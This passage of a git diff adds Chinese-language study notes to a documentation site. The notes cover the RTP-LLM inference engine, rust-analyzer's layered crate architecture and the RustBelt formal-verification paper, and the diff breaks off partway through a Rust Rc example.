+想象你在一家大型餐厅工作。
+
+"预填充"阶段（Prefill）好比是厨师接到一个订单后，先把所有食材一次性切好摆盘——这一步可以并行，所有食材同时处理。"解码"阶段（Decode）则是厨师一道一道上菜，每一道菜必须等上一道上完才能开始——这是串行的，无法加速。
+
+RTP-LLM 做的事情就是：把"切食材"和"上菜"分开给不同的人做。切食材的人只管快，上菜的人只管稳。而且，它还有一个"记忆墙"——如果之前的客人点过相似的菜，直接把记忆调出来，省掉重新准备的功夫。
+
+这就是 RTP-LLM 的核心思路。
+
+## 二、RTP-LLM 是什么
+
+RTP-LLM 是阿里巴巴基础模型推理团队开发的一个高性能推理引擎，已经在阿里巴巴集团内部上线，服务淘宝、天猫、菜鸟等超过 1 亿用户。
+
+2026 年 5 月发表在 arXiv（论文编号 2605.29639），开源。
+
+在模型规模从几亿参数增长到数千亿参数的今天，传统的推理系统遇到了根本性瓶颈：
+
+- 大语言模型的推理是"自回归"的——每生成一个字都要等前一个字
+- KV 缓存（存储注意力中间结果的数据结构）随着对话越来越长，内存占用呈线性增长
+- 不同请求的输入长度、输出长度差异巨大，静态调度策略无法适应
+
+RTP-LLM 试图用一套集成方案同时解决这些问题，而不是只优化某一个环节。
+
+## 三、核心概念
+
+### 3.1 Prefill-Decode 分离（PD Disaggregation）
+
+这是 RTP-LLM 最核心的架构创新。
+
+**传统做法：** 一台 GPU 同时做预填充和解码。问题是：预填充是计算密集型的（GPU 算力吃满），解码是内存带宽密集型的（GPU 内存跟不上）。同一台机器两种需求打架。
+
+**RTP-LLM 的做法：** 把预填充和解码物理分开，用不同机器专门干各自擅长的活。
+
+```
+[ 预填充节点 ]  ← 负责计算密集型：并行处理整个输入 prompt
+       |
+       |  KV Cache 传输
+       |
+[  解码节点  ]  ← 负责内存带宽型：逐个生成 token
+```
+
+这样预填充机器可以堆 GPU 数量，解码机器可以优化内存带宽，各自独立扩容。
+
+### 3.2 四级分层 KV 缓存管理
+
+KV 缓存太大放不下怎么办？RTP-LLM 设计了四级缓存，像自来水系统一样：
+
+| 层级 | 位置 | 速度 | 作用 |
+|------|------|------|------|
+| L1 | GPU 显存 | 最快 | 热数据，当前正在使用 |
+| L2 | 本地 CPU 内存 | 快 | 温数据，最近用过的 |
+| L3 | 远程 CPU 内存（RDMA） | 中 | 冷数据，跨机共享 |
+| L4 | 分布式存储（3FS） | 慢 | 永久存储，重启可恢复 |
+
+当需要某个 KV 块时，从 L1 查到 L4，逐级往下找，找到为止。找到后逐级往上加载，最终放到 GPU 上参与计算。
+
+### 3.3 模块化推测解码
+
+推测解码是一种"猜答案再验证"的技术。大模型生成 token 是串行的，但如果用小模型先猜出接下来几个 token，再用大模型一次性验证，就能把串行变成并行。
+
+RTP-LLM 支持多种推测算法：
+
+- **Medusa**：训练一个轻量级"头"来预测后续 token
+- **EAGLE**：训练一个小语言模型做推测
+- **Prompt Lookup**：从 prompt 本身查找重复模式做推测
+
+## 四、关键机制详解
+
+### 4.1 文件顺序驱动的模型加载
+
+大模型加载时，每个 GPU 都要从磁盘读权重文件。传统做法是每个 GPU 进程都读所有文件再提取自己的那部分——浪费巨大。
+
+RTP-LLM 改为：一个文件只由一个进程读，然后用分布式广播共享给其他 GPU。同时复用共享内存缓冲区，避免反复分配。
+
+```python
+# 传统做法（每个进程独立读）
+for model_file in all_files:
+    for gpu in all_gpus:
+        tensor = load_tensor(model_file, gpu_slice=gpu.id)  # 每个 GPU 都读一次文件
+
+# RTP-LLM 做法（一个读，广播共享）
+for model_file in all_files:
+    owner_gpu = select_owner(model_file)               # 选一个 GPU 读
+    tensor = load_tensor(model_file, gpu_slice=owner_gpu)  # 只读一次
+    broadcast(tensor, to=all_gpus)                     # 广播给其他 GPU
+```
+
+实测效果：600B 以上模型加载提速 1.4x - 6.3x。
+
+### 4.2 统一哈希前缀匹配
+
+为了高效复用 KV 缓存，RTP-LLM 用哈希匹配。每个请求的输入文本被切成若干块（如每块 64 个 token），每块计算一个哈希值。
+
+```python
+# 生成请求的块哈希键
+hash_keys = generate_hash_keys(request.tokens)
+# 例: ["abc123def", "789ghi456", "jkl012mno"]
+
+# 查询全局缓存（单次哈希查找）
+matched_blocks = global_cache.lookup(hash_keys)
+# 返回: {worker_0: 3, worker_2: 1}
+# 含义: worker_0 缓存了前 3 块, worker_2 只缓存了第 1 块
+```
+
+传统做法需要逐个问每台机器，复杂度是 O(块数 × 机器数)。RTP-LLM 把所有机器的缓存键合并到一个统一哈希表，复杂度降到 O(块数)。
+
+生产环境数据：缓存复用率提升 215%，TTFT P95 延迟降低 35-37%。
+
+### 4.3 自适应负载均衡
+
+Master 节点维护全局视图，根据三个维度做调度：
+
+1. 各节点的运行/等待请求数
+2. GPU 内存和 KV 缓存占用
+3. 预测完成时间
+
+对于预填充请求，Master 会预测每个请求的完成时间，把新请求分配给最早空闲的节点：
+
+```
+t_available(worker_i) = max(request_start_time + predicted_prefill_time)
+```
+
+对于解码请求，优先路由到有缓存亲和性的节点——同一个对话如果之前在这台机器上，就继续在这里，不用跨机传输 KV 缓存。
+
+## 五、性能数据
+
+论文在 8B 到 235B 参数的多种模型架构上做了测试，与 vLLM 和 SGLang 对比：
+
+| 指标 | 提升幅度 |
+|------|----------|
+| 模型加载速度 | 4.7x - 6.3x |
+| TTFT P95 延迟 | 降低 35-37% |
+| 缓存复用率提升 | 215% |
+| 推测解码吞吐 | 1.12x - 2.48x |
+| 多模态推理吞吐 | 1.86x - 2.52x |
+| 量化推理批延迟 | 降低 35-40% |
+| 量化推理 TTFT | 改善 1.9x - 3.0x |
+
+## 六、系统架构图解
+
+整个系统的关键组件：
+
+```
+                    ┌──────────┐
+                    │ 用户请求  │
+                    └─────┬────┘
+                          │
+                   ┌──────▼──────┐
+                   │ FrontendApp  │  ← 请求预处理、tokenize
+                   └──────┬──────┘
+                          │
+                   ┌──────▼──────┐
+                   │    Master    │  ← 全局调度、负载均衡
+                   │  (20ms 心跳) │
+                   └──┬────────┬──┘
+                      │        │
+            ┌─────────┘        └─────────┐
+            │                             │
+     ┌──────▼──────┐              ┌───────▼──────┐
+     │ Prefill Node │              │ Decode Node   │
+     │ (计算密集型)  │              │ (内存带宽型)   │
+     └──────┬──────┘              └───────┬───────┘
+            │                              │
+     ┌──────▼──────────────────────────────▼──────┐
+     │         四级分层 KV 缓存                    │
+     │  GPU → 本地CPU → 远程CPU(RDMA) → 3FS       │
+     └────────────────────────────────────────────┘
+```
+
+## 七、为什么值得关注
+
+1. **从论文到生产的闭环**：不是学术研究，而是已经在阿里内部大规模运行的系统，服务过真实用户流量
+2. **全栈集成**：不是一个零散优化点，而是从模型加载、缓存管理到推测解码的完整方案
+3. **开源**：代码已开源，社区活跃度良好
+4. **支持多样架构**：密集模型、MoE（专家混合）模型、多模态模型都支持
+
+## 八、延伸思考
+
+RTP-LLM 的 PD 分离设计其实反映了软件工程中的一个经典模式：**关注点分离**。把不同资源需求的计算任务拆开，各自优化，然后通过高效的连接组合起来。这个思路同样适用于其他分布式系统。
+
+另外，四级分层 KV 缓存的设计借鉴了操作系统中的缓存分层思想——从 LRU 替换策略到 RDMA 高速网络，都是把已有的系统级技术巧妙地迁移到 LLM 推理场景中。
+
+---
+
+*参考：Tan, B. et al. "RTP-LLM: High-Performance Alibaba LLM Inference Engine." arXiv:2605.29639, May 2026.*
diff --git a/src/content/docs/papers/rust-analyzer-architecture.md b/src/content/docs/papers/rust-analyzer-architecture.md
new file mode 100644
index 000000000..f9a1ce888
--- /dev/null
+++ b/src/content/docs/papers/rust-analyzer-architecture.md
@@ -0,0 +1,312 @@
+---
+title: Rust Analyzer Architecture — 从源码到 IDE 功能的增量语言服务架构
+来源: https://github.com/rust-lang/rust-analyzer/blob/master/docs/dev/architecture.md
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**rust-analyzer**（简称 r-a）是 Rust 官方维护的**语言服务器**实现，通过 [LSP](https://microsoft.github.io/language-server-protocol/) 给 VS Code、Neovim、Zed 等编辑器提供补全、跳转、悬停类型、重构、诊断等功能。官方 [Architecture](https://github.com/rust-lang/rust-analyzer/blob/master/docs/dev/architecture.md) 文档描述的不是「一个大二进制里塞满功能」，而是一套**分层 crate 地图**：从文本输入一路派生出语法树、HIR（高级中间表示）、类型信息，再翻译成编辑器能懂的偏移量和字符串。
+
+日常类比：把 IDE 想成一家**连锁餐厅的中央厨房**。
+
+- **前台（LSP / `rust-analyzer` crate）**：服务员只懂「客人要第几号桌的菜单项」，把订单翻译成标准 JSON，绝不亲自炒菜。
+- **点菜系统（`base-db` + Salsa）**：所有食材清单（文件内容、crate 依赖图）记在一张**会自己增量更新的台账**上；你改一行代码，台账只重算受影响的那几道菜的成本表，而不是整张菜单重算。
+- **后厨流水线（`parser` → `syntax` → `hir-*` → `hir`）**：洗菜切菜（解析）、摆盘（语法树）、调味（名字解析、宏展开、类型推断）、装盘（面向对象的 `hir` API）。
+- **出餐口（`ide`）**：把「某函数的类型是 `Result<(), Error>`」翻译成「光标处显示这段字符串、补全列表里这几项」——用编辑器的词汇，而不是编译器内部 ID。
+
+和「把 `rustc` 嵌进编辑器」不同，r-a 从第一天就为**交互式、可取消、可增量**设计：用户每按一个键，分析可能在几十毫秒内被作废重来，所以架构处处强调**边界、纯函数 query、以及「坏代码也要给出部分结果」**。
+
+## 为什么重要
+
+不理解这套架构，下面几件事很难讲清楚：
+
+- 为什么改一个函数**函数体**不会让整个 crate 的名字解析缓存全部失效——`hir-*` 层维护「函数体内打字不污染全局派生数据」的不变量
+- 为什么 `syntax` crate 可以单独拿去写「只靠语法树」的工具——它是刻意与 Salsa、LSP 无关的 **API 边界**
+- 为什么 LSP 层和 `ide` 层的类型**故意不可序列化**——序列化一旦泄露到内部，就会锁死演进；IPC 格式由最外层单独定义
+- 为什么 r-a 能在 Cargo 构建失败时仍提供补全——项目重载与 IDE 分析解耦，「坏构建」不等于「不能看代码」
+
+## 鸟瞰：输入、派生、增量
+
+官方文档用一张「鸟眼图」概括数据流：
+
+```mermaid
+flowchart TB
+  subgraph 输入["Ground State（输入，存在内存里）"]
+    Files["文件内容 (PathBuf, String)"]
+    CG["CrateGraph：crate 根、cfg、依赖边"]
+  end
+
+  subgraph 派生["Derived State（按需计算）"]
+  Parser["parser → syntax 语法树"]
+  BaseDb["base-db：Salsa input queries"]
+  HirCore["hir-expand / hir-def / hir_ty"]
+  Hir["hir：OO 外观的语义模型"]
+  Ide["ide：补全、跳转、诊断…"]
+  end
+
+  subgraph 出口["消费者"]
+    LSP["rust-analyzer 二进制 → LSP JSON"]
+    Lib["第三方库直接调 ide / hir"]
+  end
+
+  Files --> BaseDb
+  CG --> BaseDb
+  BaseDb --> Parser
+  Parser --> HirCore
+  HirCore --> Hir
+  Hir --> Ide
+  Ide --> LSP
+  Ide --> Lib
+```
+
+三个关键词：
+
+1. **全内存、无 IO**：分析器不把 `read_file` 当核心路径；客户端推送文件快照，`FileId` 是不透明整数，**`base-db` 甚至不暴露 `std::path::Path`**。
+2. **CrateGraph 抽象构建系统**：`base-db` 不知道 Cargo；`feature = "foo"` 在 Cargo 层被降格成 `--cfg feature="foo"` 后才进入 ground state。
+3. **小增量、快更新**：典型输入变化是「单文件 diff」；Salsa 的 red-green 算法决定哪些 query 可复用（详见同仓库笔记 [Salsa — 按需增量计算框架](./salsa-incremental-rust-analyzer.md)）。
+
+## Crate 地图与架构不变量
+
+下面按**从底向上**的顺序，摘录官方文档里最重要的 crate 与 **Architecture Invariant**（架构不变量）。不变量经常描述的是「**刻意不存在**的东西」——读 r-a 源码时，先找「这层**不负责**什么」往往比找「这层做什么」更快入门。
+
+### `parser` + `syntax`：与语义无关的语法层
+
+| 要点 | 说明 |
+|------|------|
+| 解析器 | 手写递归下降，输出扁平 **event 流**（`start node X` / `finish node Y`），借鉴 Kotlin 前端对**错误与残缺输入**的处理 |
+| `rowan` | 构建 **green/red 树**（不可变语法树节点），`ast` 模块在其上提供类型安全 API |
+| 独立性 | **`syntax` 完全不知道 Salsa 和 LSP**，可单独用来做 fmt-like、大纲提取等工具 |
+| 值语义 | 语法树由节点内容完全决定，**不挂语义信息**；重构时要 transform 树，把类型塞进节点会让 assist 变难 |
+| 单文件 | 每棵树对应**一个文件**，便于并行 parse 全工作区 |
+| 宽容 | 语法树**不保证良构**；AST 方法返回 `Option` 时，运行时真的可能是 `None` |
+
+**API 边界**：`syntax` 是对外可复用的入口之一。
+
+### `base-db`：Salsa 与地面事实
+
+- 使用 **[Salsa](https://github.com/salsa-rs/salsa)** 做增量、按需计算；可粗浅理解为「带派生函数的 KV 存储」。
+- 定义大多数 **input queries**（客户端提供的事实）：文件文本、source root、crate 图等。读 `base_db::input` 模块是入门捷径——**其余全是派生**。
+- **不知道 Cargo / 文件系统路径**；文件用 `FileId` 标识。
+- **`CrateGraph`** 抽象 crate 之间依赖，与具体构建工具解耦。
+
+### `hir-expand`、`hir-def`、`hir_ty`：编译器大脑（无公共 API）
+
+这一层是 r-a 的「真正的编译器」：
+
+- **ECS 风味**：大量 raw ID + 直接查 database，抽象很薄。
+- 集成 **Salsa** 与 **[Chalk](https://github.com/rust-lang/chalk)**（trait 求解）。
+- 名字解析、**宏展开**、类型推断、中间表示（`ItemTree`、`DefMap`、`Body` 等）都在这里。
+
+**核心增量不变量**：
+
+> 在函数 `foo` 的函数体里打字，**不会使**关于函数 `bar` 的全局派生数据失效。
+
+也就是说，改局部代码时，模块树、其他函数的签名等应尽量保持 memo 有效。这是 IDE 跟批处理编译器性能特征的根本分歧。
+
+**不是 API 边界**——外部不应依赖这些 crate 的稳定接口。
+
+### `hir`：面向库使用者的语义外观
+
+- **API 边界**：若把 r-a 当库用，多半从 `hir` 进门。
+- 把 ECS 内部 API 包成 **OO 风格**（每个方法多一个 `db` 参数）。
+- 对外呈现**静态、完全解析**的代码视图；内部在算，外部看起来像惰性数据结构。
+- **`Semantics` / `source_to_def`**：语法节点 ↔ HIR 元素是 **一对多**（宏、include 会让同一片语法对应多个定义）。许多功能（跳转定义、找光标处符号）都从这里开始：先解析父语法 → 父 HIR → 再枚举子语法节点匹配光标。
+
+这是 Roslyn、Kotlin Analysis API 里也能看到的 **IDE uber-pattern**。
+
+### `ide` 家族：编辑器词汇里的功能
+
+| Crate | 角色 |
+|-------|------|
+| `ide` | 公共 façade：补全、跳转、悬停等；**API 边界** |
+| `ide-db` | 共享 IDE 逻辑（如 find usages） |
+| `ide-assists` / `ide-completion` / `ide-diagnostics` / `ide-ssr` | 大块独立功能 |
+
+**设计原则**：
+
+- API 用 **POD + 公共字段**，谈论 **offset 和 label**，而不是 `hir::Type`。
+- 参数与返回值**概念上可序列化**（实现里可以用语法树，但 API 面上不出现）。
+- **`AnalysisHost`**：可事务性 `apply_change` 的状态；**`Analysis`**：不可变快照——这里才有「随时间变化」的概念。
+- API 为**假想的理想 Rust IDE** 设计，**不被 LSP 形状绑架**；LSP 适配放在最外层。
+
+### `rust-analyzer`：唯一懂 LSP 的入口
+
+- `main.rs` 启动 LSP；`handlers.rs` 实现各 LSP 请求（熟悉 LSP 的好起点）。
+- **唯一**知道 JSON 序列化的 crate；`ide` 里的结构体不要 `derive(Serialize)`，在边界处手写 DTO。
+- **无状态服务器**：跨请求状态应能通过**重复携带原始请求参数**重建（例如 completion 的 `edit` 索引）。
+- 改输入/可能阻塞打字的请求走**主线程**；只读请求放**后台线程**。
+- **构建坏了也要部分可用**：reload 不应掐死所有 IDE 功能。
+
+### 横切关注点（Cross-Cutting）
+
+#### 取消（Cancellation）
+
+用户打字时，正在跑的语法高亮等长任务应**作废**。Salsa 维护全局 **revision 计数器**；`apply_change` 时 bump 并等待其他线程结束。工作线程若发现 revision 变了，通过 **`Canceled::throw`** 触发特殊 panic（要求 **unwinding**）。`ide` 边界捕获后变成 `Result<T, Cancelled>`。
+
+#### 错误处理
+
+- 核心（`ide`/`hir`）不与外界 IO 打交道，**不会 fail**。
+- 分析面对**坏代码**返回 `(T, Vec<Error>)`，不是 `Result<T, Error>`——残缺 AST 是常态，不是异常。
+- 每个 LSP 请求 **`catch_unwind`**，单功能 panic 不拖垮进程。
+
+#### 测试边界
+
+官方划分三层测试「系统边界」：
+
+1. **外层**：`rust-analyzer` crate 的 LSP 集成测试（重，需 `RUN_SLOW_TESTS`）。
+2. **中层**：`ide` 的 `AnalysisHost` + 快照断言（最重要）。
+3. **内层**：`hir` 的 query 快照测试。
+
+测试**不依赖 libstd**（用 fixture 自带最小运行时），**数据驱动**，避免直接测易变的 API 形状。
+
+## 核心概念速查
+
+| 概念 | 一句话 |
+|------|--------|
+| **Ground state** | 文件文本 + `CrateGraph` + cfg 等 input queries |
+| **Derived state** | 语法树、HIR、类型、诊断——全部由 Salsa query 派生 |
+| **API Boundary** | `syntax`、`hir`、`ide`、`rust-analyzer` 四层对外契约；边界内可大胆重构 |
+| **FileId** | 无路径语义的文件句柄；支持多 VFS 根、远程场景 |
+| **CrateGraph** | 抽象依赖图；同一语法文件可因不同 cfg 出现多个 crate 实例 |
+| **ItemTree** | 对单文件语法树的「摘要」，函数体改动时仍稳定 |
+| **Semantics** | 语法 ↔ HIR 的桥梁；goto-def 的起点 |
+| **Revision / Cancelled** | 输入变更版本号；过期计算主动取消 |
+
+## 代码示例
+
+### 示例 1：用 `ide` API 驱动一次「迷你分析」（概念切片）
+
+下面不是 r-a 仓库里的单文件可运行样例，而是把官方 **`AnalysisHost` / `Analysis`** 心智模型压成最小伪代码，展示「改输入 → 拿快照 → 调功能」循环——真实测试里用 `Fixture` 字符串描述多文件工程：
+
+```rust
+// 概念示例：ide 层测试的典型形状（简化自官方 testing 文档）
+use ide::{AnalysisHost, FilePosition};
+
+fn check_goto_definition(fixture: &str, position_offset: u32) {
+    let mut host = AnalysisHost::new();
+    // fixture 是特殊格式的多文件字符串，测试里一次性灌入 ground state
+    host.apply_change_fixture(fixture);
+
+    let analysis = host.analysis(); // 不可变快照
+    let file_pos = FilePosition {
+        file_id: /* 从 fixture 解析 */,
+        offset: position_offset.into(),
+    };
+
+  match analysis.goto_definition(file_pos) {
+        Some(nav) => { /* 与 expect! 快照比较 */ }
+        None => { /* 光标处无定义，也是合法结果 */ }
+    }
+}
+```
+
+要点：
+
+- **`apply_change` 走 host**，读走 **`analysis()` 快照**——和 Salsa revision 对齐。
+- 功能 API 谈 **offset**，不谈 `hir::ModuleDefId`。
+- 测试用 **一个 `check` 辅助函数** 集中碰 API，上百个 case 只喂不同 fixture。
+
+### 示例 2：`Semantics`：从光标语法节点找到 HIR 定义
+
+跳转定义的核心是「语法 → HIR」映射。官方强调这是**递归的**：先找父 HIR，再在父的子语法集合里匹配当前节点。
+
+```rust
+// 概念示例：对应 hir::Semantics 的使用方式（简化）
+use hir::{Semantics, FilePosition};
+use syntax::{ast, AstNode};
+
+fn definition_at_cursor(db: &dyn hir::db::HirDatabase, pos: FilePosition) -> Option<hir::ModuleDef> {
+    let sem = Semantics::new(db);
+    let file = sem.parse(pos.file_id);
+    let root = file.syntax();
+
+    // 1. 找到覆盖 offset 的最内层语法节点
+    let token = root.token_at_offset(pos.offset.into()).right_biased()?;
+    let name_like = ast::NameLike::cast(token.parent()?)?;
+
+    // 2. 通过 Semantics 解析到 HIR（内部走 source_to_def，处理宏/重复定义）
+    sem.resolve_name_like(&name_like)
+}
+```
+
+要点：
+
+- 同一片 `foo` 文本在宏里可能出现多次；**一对多**是常态，所以返回 `Option` / 列表，而非假定双射。
+- `hir` 方法需要 `db`，但对外类型像普通 Rust 对象（`ModuleDef` 等）。
+
+### 示例 3：Salsa input 与「改一行文件」触发的增量（与 `base-db` 对齐）
+
+```rust
+// 概念示例：base-db 层 input 变更如何进入 Salsa（字段名简化）
+fn on_file_edited(db: &mut dyn base_db::SourceDatabase, file_id: FileId, new_text: String) {
+    // setter 会 bump Salsa revision，并使依赖 file_text 的 query 失效
+    db.set_file_text(file_id, Arc::from(new_text));
+
+    // 后台正在 typeck 的线程会在下一次读 db 时 Cancelled::throw
+    // ide 边界捕获为 Err(Cancelled)，LSP 层可丢弃本次响应
+}
+```
+
+这与示例 1 串联：**LSP `didChange` → 更新 input → 取消旧分析 → 新 `Analysis` 快照 → 补全/高亮**。
+
+## 与其他子系统的衔接
+
+```text
+vfs / paths          → 把操作系统路径变成可快照的 VFS（可不假设单一全局文件系统）
+project-model        → 调 cargo 解析 Cargo.toml，构建 CrateGraph（在 base-db 之外）
+toolchain / flycheck   → 「保存时 cargo check」与语义分析并行，错误来自编译器而非 hir
+mbe / tt / proc-macro  → 宏是 token tree 变换；过程宏在独立进程，防 panic/segfault 拖死主进程
+cfg                  → 解析与求值 `#[cfg]`，决定哪些 HIR 实例存在
+```
+
+过程宏特别注意：**非确定性**与 Salsa 假设冲突，需要额外处理；**坏宏**可能崩溃，所以 **proc-macro-srv** 子进程隔离。
+
+## 和「三种 IDE 架构」博文的对照
+
+官方博文 [*Three Architectures for Responsive IDE*](https://rust-analyzer.github.io/blog/2020/07/20/three-architectures-for-responsive-ide.html) 把常见路线概括为：
+
+1. **编译器当黑盒**（调 `rustc`）——准确但慢，难增量。
+2. **全量内存数据库**——快，但/rustc 脱节。
+3. **r-a 路线：自研增量前端 + 与 rustc 共享语法/部分语义思想**——在「跟语言演进」和「按键级延迟」之间折中。
+
+Architecture 文档里的 crate 分层，就是第 3 条路线的工程化展开。
+
+## 稳定性与序列化哲学
+
+- **`ide` / `base-db` 内部类型故意不 derive Serialize**——可序列化 ≈ 对外 IPC 契约，改起来很贵。
+- 对外稳定主要靠 **LSP** 与 **Rust 语言/Cargo** 本身的稳定性。
+- 非 Cargo 构建系统走 **`rust-project.json`**（事实上的稳定格式），但它不会直接序列化 `CrateGraph`，而是调用构造 API 生成。
+
+## 学习路径建议
+
+1. 读 [Architecture 原文](https://github.com/rust-lang/rust-analyzer/blob/master/docs/dev/architecture.md) 的 **Bird's Eye View** 与 **Code Map**（半天）。
+2. 看 YouTube 系列 [*Explaining Rust Analyzer*](https://www.youtube.com/playlist?list=PLhb66M_x9UmrqXhQuIpWC5VgTdrGxMx3y) 选「syntax」「salsa」「hir」几集（按需）。
+3. 在仓库里打开 `crates/ide/src/lib.rs` 看 `Analysis` API；打开 `crates/ide/src/goto_definition.rs` 跟踪一次跳转。
+4. 读 `crates/hir/src/semantics.rs` 理解 `source_to_def`。
+5. 配合本库笔记 [Salsa](./salsa-incremental-rust-analyzer.md)、[LSP 规范](./language-server-protocol-spec.md) 对照「协议层」与「增量层」分工。
+
+## 小结
+
+rust-analyzer 的架构可以用一句话记住：
+
+> **输入事实进 Salsa，语法与语义分层派生，边界 crate 把编译器概念翻译成 IDE 概念，最外层才碰 LSP。**
+
+记住几条不变量，就不会在源码海里迷路：
+
+- `syntax` 不懂语义；`hir-*` 不对外；`ide` 不谈内部 ID；`rust-analyzer` 才谈 JSON。
+- 改函数体**尽量**不动全局 query。
+- 坏代码、坏构建、被取消的请求都是**一等公民**，不是异常路径。
+
+这套设计的目标不是复刻 `rustc` 的全部行为，而是在编辑器里提供**足够好、足够快、足够稳**的 Rust 语义服务——Architecture 文档就是这张地图的图例。
+
+## 延伸阅读
+
+- [rust-analyzer Architecture（官方）](https://github.com/rust-lang/rust-analyzer/blob/master/docs/dev/architecture.md)
+- [rust-analyzer 贡献指南：Salsa 与 query](https://rust-analyzer.github.io/book/contributing/guide.html)
+- [Three Architectures for Responsive IDE](https://rust-analyzer.github.io/blog/2020/07/20/three-architectures-for-responsive-ide.html)
+- [System Boundaries（Tedinski）](https://www.tedinski.com/2018/02/06/system-boundaries.html) — 理解「API Boundary」为何反复出现
+- [Salsa 文档](https://salsa-rs.github.io/salsa/overview.html)
diff --git a/src/content/docs/papers/rustbelt-2018.md b/src/content/docs/papers/rustbelt-2018.md
new file mode 100644
index 000000000..b130ab8b5
--- /dev/null
+++ b/src/content/docs/papers/rustbelt-2018.md
@@ -0,0 +1,177 @@
+---
+title: RustBelt: Securing the Foundations of the Rust Programming Language
+来源: https://research.ralfj.de/thesis_phd/thesis-screen.pdf
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# RustBelt: 为 Rust 语言奠定安全基石
+
+## 一、它要解决什么问题？
+
+想象你住在一栋大楼里。大楼的设计师说："只要你按规则走，就永远不会从楼上掉下去。"听起来很好对吧？但问题是——谁能真正证明这个承诺是真的？
+
+Rust 语言也是这样。它说自己"既安全又高效"——安全方面，比如你不会 accidentally 访问到已经释放的内存；高效方面，你在底层可以自己操控内存。但 Rust 有一个"后门"：`unsafe` 关键字。一旦用了 `unsafe`，编译器就不再帮你检查了。这就像一个保安说："我保证安全——除非你告诉我可以不管。"
+
+更麻烦的是，Rust 的标准库（比如 `Vec`、`String`、`Arc` 这些你用得最多的东西），它们的内部实现就用了很多 `unsafe` 代码。如果你只看了上层的"安全规则"，但不知道底层的 `unsafe` 代码到底有没有乖乖守规矩，那么整栋大楼的安全承诺其实都建立在沙滩上。
+
+RustBelt 这篇论文（POPL 2018）做的就是一件事：**给 Rust 的安全承诺，写一份数学上严格、计算机能自动检查的证明。**
+
+## 二、核心概念：形式化验证
+
+**形式化验证**（Formal Verification）这个词听起来很高深，其实它做的事情很简单：
+
+> 用数学的方式，证明一个程序"永远"不会发生某些事情。
+
+普通的测试（比如写几个 test case 跑一下）只能说"这些测试都通过了"，但永远不能保证"所有情况都通过了"。形式化验证则是换了一种思路——用逻辑推理，从原理上保证程序的性质。
+
+这就像两种不同的方式去验证一座桥够不够结实：
+
+- **普通测试**：在上面开几辆车看看行不行。
+- **形式化验证**：用数学算出这座桥最多能承受多少吨的重量，然后证明这个最大值远大于你实际要放的重量。
+
+RustBelt 用的证明工具叫 **Coq**——这是一个"证明助手"，你写数学证明，它帮你检查每一个推理步骤是不是合法。如果 Coq 说"证明完成"，那这个证明就经过了机器的逐行校验，几乎不可能出错。
+
+## 三、核心概念：分离逻辑（Separation Logic）
+
+这是理解 RustBelt 最关键的概念。让我用一个日常类比来说明。
+
+### 类比：共享办公空间的钥匙
+
+想象你有两把钥匙：
+
+- **钥匙 A** 能打开一个保险箱，里面放着你个人的文件。
+- **钥匙 B** 能打开另一个保险箱，里面放着同事的文件。
+
+**关键问题**：当你用钥匙 A 打开保险箱、正在读文件的时候，有人能同时用钥匙 B 打开同一个保险箱来修改内容吗？
+
+在传统编程语言（比如 C）里，答案是"可以"——因为两个钥匙可能打开的是同一个保险箱的同一个抽屉。这叫**内存别名（aliasing）**问题，是 bug 的主要来源之一。
+
+**分离逻辑**的核心思想是：当你拿到一把钥匙（也就是拥有某块内存的所有权）时，逻辑上就**保证**没有其他钥匙能同时访问那块内存。两把钥匙开的必然是**不同的保险箱**。
+
+用分离逻辑的符号表达就是：
+
+```
+P * Q
+```
+
+意思是："我有资源 P" **并且** "你有资源 Q" **并且** P 和 Q 互不干扰、互不重叠。这个 `*` 符号叫"分隔合取"（separating conjunction），是分离逻辑的标志性符号。
+
+### 代码示例 1：为什么 `unsafe` 会破坏这个保证？
+
+```rust
+// 安全的 Rust 代码 —— 编译器帮你保证了"不会同时访问"
+let mut s = String::from("hello");
+let r1 = &s;   // 借用 s 为只读
+// 下面的代码会编译报错！
+// let r2 = &mut s;  // ❌ 不能同时有读借用和写借用
+
+println!("{}", r1);  // ✅ 编译器保证 r1 仍然有效
+```
+
+Rust 编译器在编译时就帮你检查了：既然 `r1` 还在用，`&mut s` 就不可能成立。这就是**安全的 Rust 代码**——不需要 `unsafe` 关键字。
+
+```rust
+// 不安全的 Rust 代码 —— 手动保证"不会同时访问"
+let mut s = String::from("hello");
+let r1 = &s as *const String;   // 原始指针（绕过借用检查）
+let r2 = &mut s as *mut String; // 原始指针（绕过借用检查）
+
+unsafe {
+    // 💥 程序员自己保证"不会同时访问"
+    // 如果出错了，就是 Undefined Behavior（UB）——程序可能崩溃、
+    // 可能偷偷修改数据、也可能看起来正常工作但在别的机器上崩溃
+    println!("{}", *r1);  // 同时读和写！ UB！
+}
+```
+
+RustBelt 要解决的就是：标准库里大量使用了这种 `unsafe` 代码。我们怎么知道它们"保证"了"不会同时访问"这个承诺是真的？
+
+## 四、RustBelt 是怎么做到的？
+
+### 核心思路：把整个 Rust 语言变成"可以证明的数学模型"
+
+RustBelt 团队做了一整套工作：
+
+1. **定义了一个"简化版 Rust"（叫 LambdaRust）**，它保留了 Rust 最重要的特性：所有权、借用、生命周期、 trait 系统。
+2. **给这个简化版 Rust 的每一个规则，用分离逻辑写了严格的数学定义。**
+3. **用 Coq 证明了：只要程序通过了 Rust 的类型检查，它在运行时就一定不会发生内存错误和线程安全问题。**
+4. **验证了标准库的关键 API**：证明 `Rc`（引用计数）、`Arc`（原子引用计数）、`Vec` 这些核心库的 `unsafe` 实现确实是安全的。
+
+### 关键创新：可扩展的证明框架
+
+这是 RustBelt 最聪明的设计。想象标准库就像乐高积木：
+
+- 每一块积木（每个库）内部可能用了 `unsafe` 代码。
+- 但每块积木都对外声明了**"我的公共接口是安全的"**。
+- RustBelt 的方法是：**每一块积木，都可以单独拿出来证明它的"安全承诺"是真的。**
+
+证明完了之后，你就可以放心地把这些积木搭在一起，因为你知道每一块都是安全的。
+
+### 代码示例 2：Rc —— 引用计数的安全抽象
+
+`Rc<T>` 是 Rust 中"共享所有权"的容器。多个所有者可以同时读同一段数据，不需要手动管理内存释放（引用计数自动管理）。它的内部实现大量使用了 `unsafe`。
+
+```rust
+// 用户视角 —— 看起来完全安全，没有 unsafe 关键字
+use std::rc::Rc;
+
+let a = Rc::new(42);  // 创建引用计数为 1
+let b = Rc::clone(&a);  // 引用计数变成 2，指向同一块数据
+
+// 现在 a 和 b 都指向同一个整数 42
